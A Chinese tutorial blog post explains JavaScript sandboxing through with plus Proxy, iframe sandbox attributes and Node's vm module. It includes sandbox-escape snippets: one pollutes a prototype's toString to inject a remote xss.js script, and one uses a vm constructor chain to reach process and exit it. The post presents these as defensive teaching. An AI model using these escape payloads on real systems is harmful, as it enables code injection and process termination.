说说JS中的沙箱小白入门_沙箱指南攻略

其实在前端编码中,或多或少都会接触到沙箱,可能天真善良的你没有留意到,又可能,你还并不知道它的真正用途,学会使用沙箱,可以避免潜在的代码注入以及未知的安全问题。前言沙箱,即sandbox,顾名思义,就是让你的程序跑在一个隔离的环境下,不对外界的其他程序造成影响,通过创建类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。举个简单的栗子,其

说说JS中的沙箱小白入门

前言

沙箱,即sandbox,顾名思义,就是让你的程序跑在一个隔离的环境下,不对外界的其他程序造成影响,通过创建类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。

说说JS中的沙箱小白入门_沙箱指南攻略

举个简单的栗子,其实我们的浏览器,Chrome 中的每一个标签页都是一个沙箱(sandbox)。渲染进程被沙箱(Sandbox)隔离,网页 web 代码内容必须通过 IPC 通道才能与浏览器内核进程通信,通信过程会进行安全的检查。沙箱设计的目的是为了让不可信的代码运行在一定的环境中,从而限制这些代码访问隔离区之外的资源。

JS中沙箱的使用场景

前端JS中也会有应用到沙箱的时候,毕竟有时候你要获取到的是第三方的JS文件或数据?而这数据又是不一定可信的时候,创建沙箱,做好保险工作尤为重要。

  • 1、jsonp:解析服务器所返回的jsonp请求时,如果不信任jsonp中的数据,可以通过创建沙箱的方式来解析获取数据;(TSW中处理jsonp请求时,创建沙箱来处理和解析数据);
  • 2、执行第三方js:当你又必要执行第三方js的时候,而这份js文件又不一定可信的时候;
  • 3、在线代码编辑器:相信大家都有使用过一些在线代码编辑器,而这些代码的执行,基本都会放置在沙箱中,放置对页面本身造成影响;(例如:https://codesandbox.io/s/new)
  • 4、vue的服务端渲染:vue的服务端渲染实现中,通过创建沙箱执行前端的bundle文件;在调用createBundleRenderer方法时候,允许配置runInNewContext为true或false的形式,判断是否传入一个新创建的sandbox对象以供vm使用;
  • 5、vue模板中表达式计算:vue模板中表达式的计算被放在沙盒中,只能访问全局变量的一个白名单,如 Math 和 Date 。你不能够在模板表达式中试图访问用户定义的全局变量。

总而言之:当你要解析或执行不可信的JS的时候,当你要隔离被执行代码的执行环境的时候,当你要对执行代码中可访问对象进行限制的时候,沙箱就派上用场了。

如何实现/使用沙箱

1、new Function + with

  • 1、首先从最简陋的方法说起,假如你想要通过eval和function直接执行一段代码,这是不现实的,因为代码内部可以沿着作用域链往上找,篡改全局变量,这是我们不希望的,所以你需要让沙箱内的变量访问都在你的监控范围内;不过,你可以使用with API,在with的块级作用域下,变量访问会优先查找你传入的参数对象,之后再往上找,所以相当于你变相监控到了代码中的“变量访问”:
function compileCode (src) {  
  src = 'with (exposeObj) {' + src + '}'
  return new Function('exposeObj', src) 
}

接下里你要做的是,就是暴露可以被访问的变量exposeObj,以及阻断沙箱内的对外访问。通过es6提供的proxy特性,可以获取到对对象上的所有改写:

function compileCode (src) {  
  src = `with (exposeObj) { ${src} }`
  return new Function('exposeObj', src) 
}

function proxyObj(originObj){
    let exposeObj = new Proxy(originObj,{
        has:(target,key)=>{
            if(["console","Math","Date"].indexOf(key)>=0){
                return target[key]
            }
            if(!target.hasOwnProperty(key)){
                throw new Error(`Illegal operation for key ${key}`)
            }
            return target[key]
        },
    })
    return exposeObj
}

function createSandbox(src,obj){
 let proxy = proxyObj(obj)
 compileCode(src).call(proxy,proxy) //绑定this 防止this访问window
}

通过设置has函数,可以监听到变量的访问,在上述代码中,仅暴露个别外部变量供代码访问,其余不存在的属性,都会直接抛出error。其实还存在get、set函数,但是如果get和set函数只能拦截到当前对象属性的操作,对外部变量属性的读写操作无法监听到,所以只能使用has函数了。接下来我们测试一下:

const testObj = {
    value:1,
    a:{
        b:{c:1}
    }
}
createSandbox("value='haha';console.log(a)",testObj)

 看起来一切似乎没有什么问题,但是问题出在了传入的对象,当调用的是console.log(a.b)的时候,has方法是无法监听到对b属性的访问的,假设所执行的代码是不可信的,这时候,它只需要通过a.b.__proto__就可以访问到Object构造函数的原型对象,再对原型对象进行一些篡改,例如将toString就能影响到外部的代码逻辑的。

a.b.__proto__.toString = ()=>{
    var script = document.createElement("script");
    script.src = "http://.../xss.js"
    script.type = "text/javascript";
    document.body.appendChild(script)
}

例如上面所展示的代码,通过访问原型链的方式,实现了沙箱逃逸,并且篡改了原型链上的toString方法,一旦外部的代码执行了toString方法,就可以实现xss攻击,注入第三方代码,为什么代码里可以访问document呢?因为这本身是一个函数的赋值操作,并没有执行,所以也不存在被has函数拦截了。而当你调用toString的时候,已经是在外部的代码调用了,has函数更加无从知晓。

你可能会想,如果我切断原型链的访问,是否就杜绝了呢?的确,你可以通过Object.create(null)的方式,传入一个不含有原型链的对象,并且让暴露的对象只有一层,不传入嵌套的对象,但是,即使是基本类型值,数字或字符串,同样也可以通过__proto__查找到原型链,而且,即使不传入对象,你还可以通过下面这种方式绕过:

({}).__proto__.toString= ()=>{console.log(111)};

可见,new Function + with的这种沙箱方式,防君子不防小人,当然,你也可以通过对传入的code代码做代码分析或过滤?假如传入的代码不是按照的规定的数据格式(例如json),就直接抛出错误,阻止恶意代码注入,但这始终不是一种安全的做法。

2、借助iframe实现沙箱

前面介绍一种劣质的、不怎么安全的方法构造了一个简单的沙箱,但是在前端最常见的方法,还是利用iframe来构造一个沙箱,such as 在线代码编辑器中:https://codesandbox.io/s/news。

这种方式更为方便、简单、安全,也是目前比较通用的前端实现沙箱的方案,假如你要执行的代码不是自己写的代码,不是可信的数据源,那么务必要使用iframe沙箱。sandbox是h5的提出的一个新属性, 启用方式就是在iframe标签中使用sandbox属性:

<iframe sandbox src="..."></iframe>

但是这也会带来一些限制:

  1. script脚本不能执行
  2. 不能发送ajax请求
  3. 不能使用本地存储,即localStorage,cookie等
  4. 不能创建新的弹窗和window
  5. 不能发送表单
  6. 不能加载额外插件比如flash等

不过别方,你可以对这个iframe标签进行一些配置:

说说JS中的沙箱小白入门_沙箱指南攻略

接下里你只需要结合postMessage API,将你需要执行的代码,和需要暴露的数据传递过去,然后和你的iframe页面通信就行了。

1)不过你需要注意的是,在子页面中,要注意不要让执行代码访问到contentWindow对象,因为你需要调用contentWindow的postMessageAPI给父页面传递信息,假如恶意代码也获取到了contentWindow对象,相当于就拿到了父页面的控制权了,这个时候可大事不妙。

2)当你使用postMessageAPI的时候,由于sandbox的origin默认为null,需要设置allow-same-origin允许两个页面进行通信,意味着子页面内可以发起请求,这时候你需要防范好CSRF,允许了同域请求,不过好在,并没有携带上cookie。

3)当你调用postMessageAPI传递数据给子页面的时候,传输的数据对象本身已经通过结构化克隆算法复制,如果你还不了解结构化克隆算法可以查看这个。

简单的说,通过postMessageAPI传递的对象,已经由浏览器处理过了,原型链已经被切断,同时,传过去的对象也是复制好了的,占用的是不同的内存空间,两者互不影响,所以你不需要担心出现第一种沙箱做法中出现的问题。

3、nodejs中的沙箱

nodejs中使用沙箱很简单,只需要利用原生的vm模块,便可以快速创建沙箱,同时指定上下文。

const vm = require('vm');
const x = 1;
const sandbox = { x: 2 };
vm.createContext(sandbox); // Contextify the sandbox.

const code = 'x += 40; var y = 17;';
vm.runInContext(code, sandbox);

console.log(sandbox.x); // 42
console.log(sandbox.y); // 17

console.log(x); // 1;   y is not defined.

vm中提供了runInNewContext、runInThisContext、runInContext三个方法,三者的用法有个别出入,比较常用的是runInNewContext和runInContext,可以传入参数指定好上下文对象。

但是vm是绝对安全的吗?不一定。

const vm = require('vm');
vm.runInNewContext("this.constructor.constructor('return process')().exit()")

 通过上面这段代码,我们可以通过vm,停止掉主进程nodejs,导致程序不能继续往下执行,这是我们不希望的,解决方案是绑定好context上下文对象,同时,为了避免通过原型链逃逸(nodejs中的对象并没有像浏览器端一样进行结构化复制,导致原型链依然保留),所以我们需要切断原型链,同时对于传入的暴露对象,只提供基本类型值。

let ctx = Object.create(null);
ctx.a = 1; // ctx上不能包含引用类型的属性
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);

 让我们来看一下TSW框架中是怎么使用的:

const vm = require('vm');
const SbFunction = vm.runInNewContext('(Function)', Object.create(null));        // 沙堆
...
if (opt.jsonpCallback) {
    code = `var result=null; var ${opt.jsonpCallback}=function($1){result=$1}; ${responseText}; return result;`;
    obj = new SbFunction(code)();
} 
...

通过runInNewContext返回沙箱中的构造函数Function,同时传入切断原型链的空对象防止逃逸,之后再外部使用的时候,只需要调用返回的这个函数,和普通的new Function一样调用即可。

即使这样,我们也不能保证这是绝对的安全,毕竟可能还有潜在的沙箱漏洞呢?

总结

即使我们知道了如何在开发过程中使用沙箱来让我们的执行环境不受影响,但是沙箱也不一定是绝对安全的,毕竟每年都有那么多黑客绞尽脑汁钻研出如何逃出浏览器沙箱和nodejs沙箱,所以最安全的做法,是不执行不可信任的第三方JS,不要信任任何用户数据源,那你的代码就永远安全,不会被注入。

海计划公众号
(0)
上一篇 2020/03/24 05:44
下一篇 2020/03/24 05:44

您可能感兴趣的内容

  • html5中二进制对象Blob的使用——Blob与ArrayBuffer、TypeArray和String的相互转换基础指南_blob小白教程

    html5中Blob是什么?在计算机中,Blob常常是数据库中用来存储二进制文件的字段类型,MySQL中的Blob类型就只是个二进制数据容器。在HTML5中,Blob是一种JavaScript的对象类型,Blob对象除了存放二进制数据外还可以设置这个数据的MIME类型,这相当于对文件的存储。一个Blob对象是一个包含只读原始数据的类文件对象。创建Blob对象

    2020/04/05
  • 使用CSS隐藏元素滚动条菜鸟知识_滚动条入门基础教程

    如何隐藏滚动条,同时仍然可以在任何元素上滚动?首先,如果需要隐藏滚动条并在内容溢出时显示滚动条,只需要设置overflow:auto样式即可。想要完全隐藏滚动条只需设置overflow:hidden即可,但是这样一来将导致元素内容不可滚动。时至今日,还没有任何一条CSS规则可以使元素可以隐藏滚动条的同时依然可以滚动内容,只能通过针对特定浏览器设置滚动条样式来

    2020/03/29
  • Emmet菜鸟教程_一款编辑器插件,支持多种编辑器支持

    Emmet菜鸟教程 官方网址:https://emmet.io/ GitHub:https://github.com/emmetio 简介描述:一款编辑器插件,支持多种编辑器支持 …

    2020/03/12
  • Reducer的深入理解小白帮助_Reducer基础教程

    有一些小伙伴,对JavaScript的 reduce 方法还不够理解,我们来看下面两段代码:const nums = [1, 2, 3];
    let value = 0;for (let i = 0; i < nums.length; i++) {value += nums[i];
    }const nums = [1, 2, 3];
    const value =

    2020/03/26
  • 高清手机/电脑壁纸类网站推荐零基础入门_手机小白指南

    经常就为了找一些分辨率高的壁纸而费尽心思,目前的手机端的壁纸分辨率也是参差不齐,质量高的数量少,数量多的质量差,今天就分享几个我感觉不错的壁纸(摄影)网站吧,可以勾选分辨率选择壁纸。​wallheaven官网:https://alpha.wallhaven.cc/关键词:创意、艺术、动漫、科幻、视觉适合用户:摄影师、插画师、漫画家推荐指数:★★★★★必应壁纸

    2020/03/30
  • vue 无限滚动问题小白常识_滚动教程视频

    如今web开发中,无限加载是必需的一项功能,尤其是在移动端开发中,一个列表往往默认只加载10条,想看更多只能逐渐往下翻页。那么今天就看看如何在Vue-Cli中实现这个功能。当前找到两个插件1 element-ui的infiniteScroll无限滚动(适合vue2,vue3)infiniteScroll是2.9.0版本新增的特性,旧的项目需要升级elemen

    2020/03/24
  • rem js相关入门攻略_rem基础入门

    !function(n){var e=n.document,t=e.documentElement,i=720,d=i/100,o=”orientationchange”in n?”orientationchange”:”resize”,a=function(){var n=t.clientWidth||320;n>720&&(n=720);t.style

    2020/03/23
  • Apache 的访问控制配置指南攻略_Apache使用教程

    为了更好地控制对网站资源的访问,所以需要为特定的网站目录添加访问授权。客户机地址限制:通过 Require 配置项,可以根据主机的主机名或IP地址来决定是否允许客户端访问,在 httpd服务器的主配置文件的 、、、 配置段中均可以使用 Require 配置项来控制客户端的访问。常用格式如下

    2020/03/26
  • lock文件小白教程我们为什么需要 lock 文件_文件菜鸟指南

    前言从 Yarn 横空出世推出 lock 文件以来,已经两年多时间了,npm 也在 5.0 版本加入了类似的功能,lock 文件越来越被开发者们接收和认可。本篇文章想从前端视角探讨一下我们为什么需要 lock 文件,以及它的一些成本与风险,当然其中一些观点对于后端也是适用的。为什么需要 lock 文件之所以需要 lock 文件,我觉得主要有 4 个原因:确保

    2020/04/03
  • Vuex与组件通信小白入门_vuex小白知识

    概述Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。也就是说 Vuex 用于单页面应用组件之间的数据共享,在组件嵌套很多层的情况下,Vue 中父子组件的通信过程就变得很麻烦,此时使用 Vuex 方便了组件间的通信。vuex官网上说是一个vue的状态管理工具。其实我们可以简单地把状态理解成为vue的data里面的变量。当组件之间的data变量关

    2020/03/26
  • Myfonts小白攻略_上传字体图片帮您找到英文字体安装文件

    Myfonts小白攻略 官方网址:http://www.myfonts.com/WhatTheFont/ 简介描述:上传字体图片帮您找到英文字体安装文件 Seen a font i…

    2020/03/06
  • Kotlin 基础入门 Node.js 搭建教程小白攻略_教程

    Kotlin是JetBrains推出的一款语言, 相比Java有更简洁的语法, 能编译为Java Class, 也能编译为JavaScript
    Node.js则是可以运行在服务端的JavaScript, 这里把二者结合, 搭建一个用Kotlin编写的服务端应用创建打开Idea 创建一个 Kotlin(JavaScript) 项目编写一个测试文件, 检查是否可

    2020/04/03
  • 带着问题看React-Redux源码菜鸟教程网_redux菜鸟指南

    写在前面我在读React-Redux源码的过程中,很自然的要去网上找一些参考文章,但发现这些文章基本都没有讲的很透彻,很多时候就是平铺直叙把API挨个讲一下,而且只讲某一行代码是做什么的,却没有结合应用场景和用法解释清楚为什么这么做,加上源码本身又很抽象,函数间的调用关系非常不好梳理清楚,最终结果就是越看越懵。我这次将尝试换一种解读方式,由最常见的用法入手,

    2020/03/24
  • GSAP教程视频_一个“轻量级”、“高效率”、强大的2D动画引擎

    GSAP基础知识入门 官方网址:https://greensock.com GitHub:https://github.com/greensock/GreenSock-JS 简介描…

    2020/03/06
  • 压缩图攻略教程_在线图片压缩工具集合

    压缩图攻略教程 官方网址:https://www.yasuotu.com 简介描述:在线图片压缩工具集合 「压缩图」是一个提供在线图片压缩工具集合的站点,支持GIF压缩、PNG压缩…

    2020/03/11
  • js原型链的看法小白入门_原型小白帮助

    对象:1,函数对象:有function创造出来的函数2,普通对象:除开函数对象之外的对象,都是普通对象**即普通对象obj是构造函数Object的一个实例,因此:obj.__proto__ === Object.prototype**//普通对象
    var obj = {}
    var obj1 = new Object()
    console.log(obj.__p

    2020/03/29